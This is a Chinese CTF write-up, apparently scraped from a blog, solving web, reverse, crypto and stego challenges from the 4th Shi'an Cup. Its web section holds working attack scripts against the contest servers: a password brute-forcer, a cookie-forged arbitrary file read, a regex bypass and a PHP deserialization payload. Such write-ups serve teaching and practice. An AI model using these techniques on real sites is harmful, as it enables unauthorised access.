1. 程式人生 > >第四屆世安杯

第四屆世安杯

哎,水題一堆,還大都都是原題,進了線下賽也沒時間去,太趕了

WEB

ctf入門級題目

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE
) die($flag); else echo '<p class="alert">Invalid password</p>'; } ?> <section class="login"> <div class="title"> <a href="./index.phps">View Source</a> </div> <form method="POST"> <input
type="text" required name="password" placeholder="Password" /><br/> <input type="submit"/> </form> </section> </body> </html>

由於需要繞過ereg,又必須存在 簡單

http://ctf1.shiyanbar.com/shian-rao/?password[]=--

這裡寫圖片描述

flag{Maybe_using_rexpexp_wasnt_a_clever_move}

曲奇餅

一看後面的file是檔名的base64加密,應該可以讀取任意檔案程式碼,由於line是來控制顯示行數,所以寫個指令碼

import requests

url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw"

for i in range(0,20):
    url1 = url.format(i)
    s = requests.get(url1)
    print s.text

得到index.php程式碼

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");

$file_list = array(

'0' =>'key.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){

$file_list[2]='thisis_flag.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

簡單,就是加一個cookies

這裡寫圖片描述

flag{UHGgd3rfH*(3HFhuiEIWF}

型別

簡單的程式碼審計,x1就是不能是全數字又能大於2017,那就是2018a
第二個就是根據情況構造陣列,第三個需要爆破
指令碼

import random
import string
import hashlib
import base64
import re
def md5(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()

i = 0
while 1:
    i +=1
    #print i
    string = 'XIPU'
    string2=''
    #print string
    s = string+string2.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
    print s,md5(s)[8:24],md5("15562")[8:24]

    if (re.findall('^0e[0-9]{14,14}$',md5(s)[8:24])):
        print s
        break

這裡寫圖片描述

這裡寫圖片描述

CTF{Php_1s_bstl4_1a}

登入

額,明顯就是爆破密碼
指令碼

import requests

cookies = {
        "PHPSESSID":"baukg3luocsduh2a1khcqoshh2"
        }

for i in range(0,10):
    for j in range(0,10):
        for k in range(0,10):
            for m in range(0,10):
                for n in range(0,10):
                    num1 = str(i)+str(j)+str(k)+str(m)+str(n)
                    url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={0}&randcode={1}"

                    url = "http://ctf1.shiyanbar.com/shian-s/"
                    s = requests.get(url,cookies=cookies)
                    string = s.text
                    num = string.find("randcode")
                    print num
                    num2 = string[num+30:num+33]
                    print string[num+30:num+33]
                    url2 = url1.format(num1,num2)
                    print url2
                    s2 = requests.get(url2,cookies=cookies)
                    if "{" in s2.content:
                        print s2.content
                        exit(0)

#print string[num+16::3]

這裡寫圖片描述

flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}

admin

先是利用php偽協議寫入

這裡寫圖片描述

然後發現後面有一個檔案包含,直接讀取class.php的原始碼

這裡寫圖片描述

構造一下序列化

<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a = new Read();
$a->file="f1a9.php";
echo serialize($a);
?>

這裡寫圖片描述

flag_Xd{hSh_ctf:[email protected]}

雜項

reverseMe

檢視16進位制,發現最後是jpg的檔案頭

這裡寫圖片描述

直接寫一個指令碼逆過來即可


f = open("C:/Users/lanlan/Desktop/reverseMe",'rb')

g = open("C:/Users/lanlan/Desktop/flag.png",'wb')

g.write(f.read()[::-1])

f.close()
g.close()

這裡寫圖片描述

反過來即可

flag{4f7548f93c7bef1dc6a0542cf04e796e}

珍妮的qq號

數學題

for i in range(10000,100000):

    str1 = str(i)
    str2 = str1[::-1]
    print i,str2
    if i*4 == int(str2):
        print int(str2)
        break

跑出來既是結果87912

心儀的公司

流量報,裡面的conf1g.php是上傳webshell的,查詢發現又異常圖片下載

這裡寫圖片描述

這裡寫圖片描述

fl4g:{ftop_Is_Waiting_4_y}

逆向

android

分析反編譯程式碼可知,需要用特定的廣播資訊觸發apk的相關Activity
關鍵資訊是extra中的msg值為:OpenSesame,可以呼叫adb的root許可權下的am工具

這裡寫圖片描述

點選BROADCAST按鈕,apk會發出一條廣播,而廣播內容即是將相關字串處理後的關鍵內容
為了接收該廣播,建立了一個廣播接收器:
主要程式碼如下:

intentFilter = new IntentFilter();
intentFilter.addAction("com.flagstore.ctf.OUTGOING_INTENT");
receiver = new NetworkChangeReceiver();
registerReceiver(receiver, intentFilter);  
class NetworkChangeReceiver extends BroadcastReceiver{
    @Override
    public void onReceive(Context context,Intent intent){ 
        Toast.makeText(context, "getMessage"+intent.getStringExtra("msg"), Toast.LENGTH_SHORT).show();
        }
    }
}

將該廣播接收器安裝到手機上並開啟
當點選BROADCAST後,會顯示接收到的訊息:

這裡寫圖片描述

得到flag

get_flag

輸入之後找演算法,就在這裡:

這裡寫圖片描述

關鍵就是那個比較,其中eax的計算根據輸入計算得到的,exc在記憶體中提出來的,看懂之後寫演算法:

a = [0xB9 ,0x3A,0xA9,0xD8,0x15, 0x8A, 0xE7 ,0x42,0x69, 0x90, 0xCA, 0xA3, 0x4D, 0xD8, 0xD9, 0xC9 ]

f = ""

for i in range(16):

    for  j in range(33,128):

        if ((2*j-6)^j)-2*i==a[i]:

            f += chr(j)

            break

print f

flag:mBqL!zS6-hLm)XY_

簡單演算法

這題有點腦洞,根據題目可以算出來很多password(準確來講智慧確定其中9位),我們可以自己計算要異或的值,然後確定完整的flag:
這是計算異或值的程式碼:

#include<stdio.h>

#include<stdlib.h>

#include<windows.h>

#include<tchar.h>

int main()

{

    int v8 = 0;

    int v4 ;

    int v9 =0;

    int v7 = 0;

    for (v7=0;v7<=21;v7++)

    {

        int v4 = v7+1;

        v9 = 0;

        v8 = 0;

        while ( v8 < v4 )

        {

          ++v8;

          v9 = 1828812941 * v9 + 12345;

        }

        printf("0x%x,",(unsigned __int8)v9);

    }

}

然後根據完整的要異或的值,算出完整的flag:

a = "5FF25E8B4E0EA3AAC793813D5F74A309912B49289367"

a = [ord(i) for i in a.decode("hex")]

print len(a)
n =  [0x11,0xa,0x11,0xd,0x1,0x0f,0x0,0x6,0x3,0x1]
xor =[0x39,0x9e,0x3f,0xec,0x35,0x6a,0x9b,0x98,0xf1,0xf6,0xb7,0x4,0x6d,0x42,0x93,0x30,0xa9,0x4e,0x2f,0x1c,0xa5,0x1a]
f = ['a','a','a','a','{','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','}']
r = ""
print len(f)
for i in range(22):
    f[i] = chr(a[i]^xor[i])
for i in range(len(f)):
    r += f[i]
print r

flag:flag{d826e6926098ef46}

console

這是.NET的逆向,有原題。
Reflector開啟後export出來,用VS看一下程式碼:
這裡寫圖片描述

程式大概流程就是將 CreateByTenshine 字串進行加密後和輸入比較,加密也很簡單,是和[0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b,0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67,0x6b, 0x6d, 0x71] 裡的第二個至第15個數輪流異或,把 – 刪掉,然後計算md5值。

import hashlib

str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
    t= ord(str2[i])
   for j in range(1,15):
      t = str1[j] ^ t

   str3 += chr(t)

for k in xrange(len(str3)):

   if (str3[k] == '-'):

       str3[k] = ''

print str3

m = hashlib.md5()

m.update(str3)

result = m.hexdigest()

print 'flag{' + result + '}'

最後flag:flag{967DDDFBCD32C1F53527C221D9E40A0B}

bin

64位的ELF檔案,sub_40084A函式會進行反除錯,動態調的時候改下eax就好:

這裡寫圖片描述

再看主函式,關鍵是sub_40074D函式判斷:

這裡寫圖片描述

動態找到qword_601080的地址:

這裡寫圖片描述
enter description here

在一開始的時候建好了一個數組,從n到w,然後通過輸入字串,看是否在陣列應該在的位置(5、2、7、2、5、6),最後比對在這個位置:

這裡寫圖片描述

所以,結合建立的陣列,最後結果就是rotors

這裡寫圖片描述

動態暴力破解

題目IDA反彙編代程式碼看的很不舒服,因為用的是C++ STL庫進行操作的,導致一些函式名很長。搜尋一些string找到了類似flag(有左右花括號)的字串:

這裡寫圖片描述

走一下流程,輸入位置下斷:

這裡寫圖片描述

然後在記憶體中找到了硬編碼的字串:dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj
然後走下來,輸入被 sub_401210加密了一下,加密後與加密前長度一樣,但是不是普通的凱撒,因為相同的輸入與輸出不一樣,不過在加密的過程中,用到了這個字串,猜測flag是經過該字串加密後成了現在這個樣子:FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{

然後寫寫指令碼跑一下:

s1 = 'FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{'

s2 = 'dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj'

s1 = list(s1)

for i in range(len(s1)):

    pos = ord(s2[i])-ord('a')

    if s1[i]=='{':

        s1[i]='}'

    elif s1[i]=='}':

        s1[i]='{'

    elif s1[i]=='_':

        pass

    else:

        if s1[i].islower():

            s1[i] = chr(ord(s1[i])-pos%26)

            if ord(s1[i])<ord('a'):

                s1[i] = chr(ord(s1[i])+26)

        elif s1[i].isupper():

            s1[i] = chr(ord(s1[i])-pos%26)

            if ord(s1[i])<ord('A'):

                s1[i] = chr(ord(s1[i])+26)

        else:

            pass

f = ""
print s1
for i in range(len(s1)):
    f+=s1[i]
print f

這是flag:
這裡寫圖片描述

密碼學

rsa

這個就是給了,n,c然後e應該是3,這樣的話直接利用bystudent師傅的指令碼即可

from libnum import s2n,n2s
from gmpy2 import iroot
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
e = 3
c = 2044619806634581710230401748541393297937319
i = 0
while 1:
    res = iroot(c+i*n,3)
    if(res[1] == True):
        print res
        break
    print "i="+str(i)
    i = i+1
m = 126922179506039
print n2s(m)

so_low

隱寫

low

做過的原題,用stegsolve分析無果,但是通過觀察發現是RGB的通道有問題,直接套用指令碼

# -*- coding: utf8 -*-
#low
import Image

def foo():
    im=Image.open('C:/Users/lanlan/Desktop/low.bmp')
    im2=im.copy()

    pix=im2.load()
    width,height=im2.size

    for x in xrange(0,width):
        for y in xrange(0,height):
            #LSB
            if pix[x,y]&0x1==0:
                pix[x,y]=255 #
            else:
                pix[x,y]=0
    im2.show()
    pass

if __name__ == '__main__':
    foo()
    print 'ok'
    pass

這裡寫圖片描述

flag{139711e8e9ed545e}

斑馬斑馬

這裡寫圖片描述

這題也簡單,把斑馬身上的條紋處理一下,可得到條碼,掃描即可

FLAG IS TENSHINE
坑的flag居然是小寫
tenshine

CreateByWho

一堆碎片,用ps拼起來

這裡寫圖片描述

Create-By-SimpleLab

適合作為桌面的圖片

首先是一張圖片,然後用StegSolve進行分析,發現二維碼

這裡寫圖片描述

掃碼得到一串字元
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

猜測是16進位制,頭像pyc的頭部,直接儲存反編譯記得原python程式碼

這裡寫圖片描述

#!/usr/bin/env python
# encoding: utf-8
# 訪問 http://tool.lu/pyc/ 檢視更多資訊

def flag():
    str = [
        102,
        108,
        97,
        103,
        123,
        51,
        56,
        97,
        53,
        55,
        48,
        51,
        50,
        48,
        56,
        53,
        52,
        52,
        49,
        101,
        55,![enter description here][32]
        125]
    flag = ''
    for i in str:
        flag += chr(i)

    print flag
flag()

flag{38a57032085441e7}

相關推薦

哎,水題一堆,還大都都是原題,進了線下賽也沒時間去,太趕了 WEB ctf入門級題目 <?php $flag = '*********'; if (isset ($_GET['password'])) { if (ereg ("^[a-zA

“”“”線上賽題解(Web+Stego+Misc+Crypto)

題目很多原題,但是還是考驗了不少的知識點,就算是原來見過的也當做是複習了一下知識點了。 WEB ctf入門級題目 非常水的一道題,可以看到原始碼,然後利用%00截斷就可以通過了 曲奇餅 原題,直接利用line和file來洩露檔案內容,通

東秦圖靈-G-爬樓梯【DP】

問題 G: 爬樓梯 時間限制: 1 Sec  記憶體限制: 128 MB提交: 161  解決: 57 [提交][狀態][討論版] 題目描述 由於第m個臺階上有好吃的薯條,所以薯片現

“圖靈”NEUQ-ACM 程式設計競賽(團隊賽)

題目描述 NEUQ的穀神要和我賭一個遊戲:穀神要求我隨機在紙上寫出整數集合{1,2,3,…,3n+1}(n是整數)的一個排列(即不重複的隨機寫出從1到3n+1的所有整數)。並且要求在我寫的過程中,從我寫的第一個數開始一直加到我正在寫的數的總和不被3整除

(13年)藍橋java B組決賽真題

pla 標題 boolean pub for ide 真題 code one 1、標題:猜燈謎(填空) A 村的元宵節燈會上有一迷題: 請猜謎 * 請猜謎 = 請邊賞燈邊猜 小明想,一定是每個漢字代表一個數字,不同的漢字代表不同的數字。

算法筆記_204:藍橋軟件類決賽真題(Java語言C組)

系統 主類 文字 新節點 origin pack log 破壞 src 目錄 1 好好學習 2 埃及分數 3 金蟬素數 4 橫向打印二叉樹 5 危險系數 6 公式求值 1 好好學習 湯姆跟爺爺來中國旅遊。一天,他幫助中國的小朋友貼標語。他負責貼的標語是分別寫在四

藍橋真題 連號區間

max 排列 add sca ace box 題目 initial for 本來想練習並查集,然後在看官網提示這是並查集類型題目,上來先默寫了一下並查集,想了半天並查集怎麽寫。。我呸,並查集。。這裏找規律。。區間的【最大值-最小值】=【區間長度】,直接枚舉。。。討厭這種找規

藍橋七題 錯誤票據

.com n) Go col nbsp lag int com while 題解:寫了簡單題,好開心,我果然不適合學算法.......寫寫簡單題,當個鹹魚就好了嘛!! #include <iostream> #include <algorith

藍橋八題 翻硬幣

i++ nbsp ans namespace == pos else main 硬幣 題解:簡單貪心, 比賽之前寫寫水題 #include <iostream> #include <cstring> #include <strin

藍橋比賽題目——風扇控制系統

black play 程序說明 sign 狀態機 stat mode led 可用 /* 程序說明: 第七屆省賽風扇控制系統 軟件環境: Keil uVision 4.10 硬件環境: CT107單片機綜合實訓平臺(內部晶振11.0592MHZ) STC15F2

A__Writeup“百越福建省高校網路空間安全大賽——致我的戰隊HeroCat的所有成員

    作  者:HeroCat出  處:https://www.cnblogs.com/HeroCat/ 特此宣告:歡迎園子的大大們指正錯誤,共同進步。如有問題或建議,也請各位大佬多多賜教!如果您覺得文章對您有幫助,可以點選文章右下角【推薦】一下。版權宣告:本文版權歸作

[藍橋][2013年真題]買不到的數目

題目描述 小明開了一家糖果店。他別出心裁:把水果糖包成4顆一包和7顆一包的兩種。糖果不能拆包賣。 小朋友來買糖的時候,他就用這兩種包裝來組合。當然有些糖果數目是無法組合出來的,比如要買 10 顆糖。 你可以用計算機測試一下,在這種包裝情況下,最大不能買到的數量是17。大於17的任何數字都

湖南省“嘉傑”大學生計算機程式設計大賽 總結

         通過這次比賽發現自己和大佬們的差距還很大,此次 做出題目六題以上基本是一等獎了,我們隊伍只做出了三個題,拿銅。         這次比賽也是我們第一次參加大型ACM賽事,完全沒有信心,是以

[藍橋][2013年真題]危險係數

問題描述 抗日戰爭時期,冀中平原的地道戰曾發揮重要作用。 地道的多個站點間有通道連線,形成了龐大的網路。但也有隱患,當敵人發現了某個站點後,其它站點間可能因此會失去聯絡。 我們來定義一個危險係數DF(x,y): 對於兩個站點x和y (x != y), 如果能找到一個站點z,當z被敵人破壞後,

2018湖南省“嘉傑”大學生計算機程式設計競賽總結

      經過三個月的幸苦練習,在省賽這個大舞臺上,我們小隊收穫了一枚銅牌。       從一開始刷南陽oj八十道水題,vj上的二十場校賽,再到多校的場場自閉,CF的熬夜作戰。嗯,我確實付出了很多。 然而我始終在思考,我這麼多的付出到底學到了什麼。貌似也接觸了許多新演算

2018“駭極”全國大學生網路安全邀請賽暨上海市大學生網路安全大賽線上賽 writeup

0x00 簽到題 操作內容: |登陸比賽介面 上去看到簽到題,一般情況下 簽到題是沒有難度的 題目給定一串字元MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q Base32一閃而過

藍橋C++A組 顛倒的價牌

標題:顛倒的價牌小李的店裡專賣其它店中下架的樣品電視機,可稱為:樣品電視專賣店。其標價都是4位數字(即千元不等)。小李為了標價清晰、方便,使用了預製的類似數碼管的標價籤,只要用顏色筆塗數字就可以了(參見p1.jpg)。這種價牌有個特點,對一些數字,倒過來看也是合理的數字。如:

2013年藍橋試題(Java本科B組)

1.標題: 世紀末的星期 曾有邪教稱1999年12月31日是世界末日。當然該謠言已經不攻自破。 還有人稱今後的某個世紀末的12月31日,如果是星期一則會.... 有趣的是,任何一個世紀末的年份的12月31日都不可能是星期一!!  於是,“謠言製造商”又修改為星期日....

藍橋本科B組省賽題目解析

一、題目標題: 高斯日記     大數學家高斯有個好習慣:無論如何都要記日記。     他的日記有個與眾不同的地方,他從不註明年月日,而是用一個整數代替,比如:4210     後來人們知道,那個整數就是日期,它表示那一天是高斯出生後的第幾天。這或許也是個好習慣,它時時刻

山東省藍橋 ///題目標題: 高斯日記//c/c++組

題目標題: 高斯日記     大數學家高斯有個好習慣:無論如何都要記日記。     他的日記有個與眾不同的地方,他從不註明年月日,而是用一個整數代替,比如:4210     後來人們知道,那個整數就是日期,它表示那一天是高斯出生後的第幾天。這或許也是個好習慣,它時時刻刻提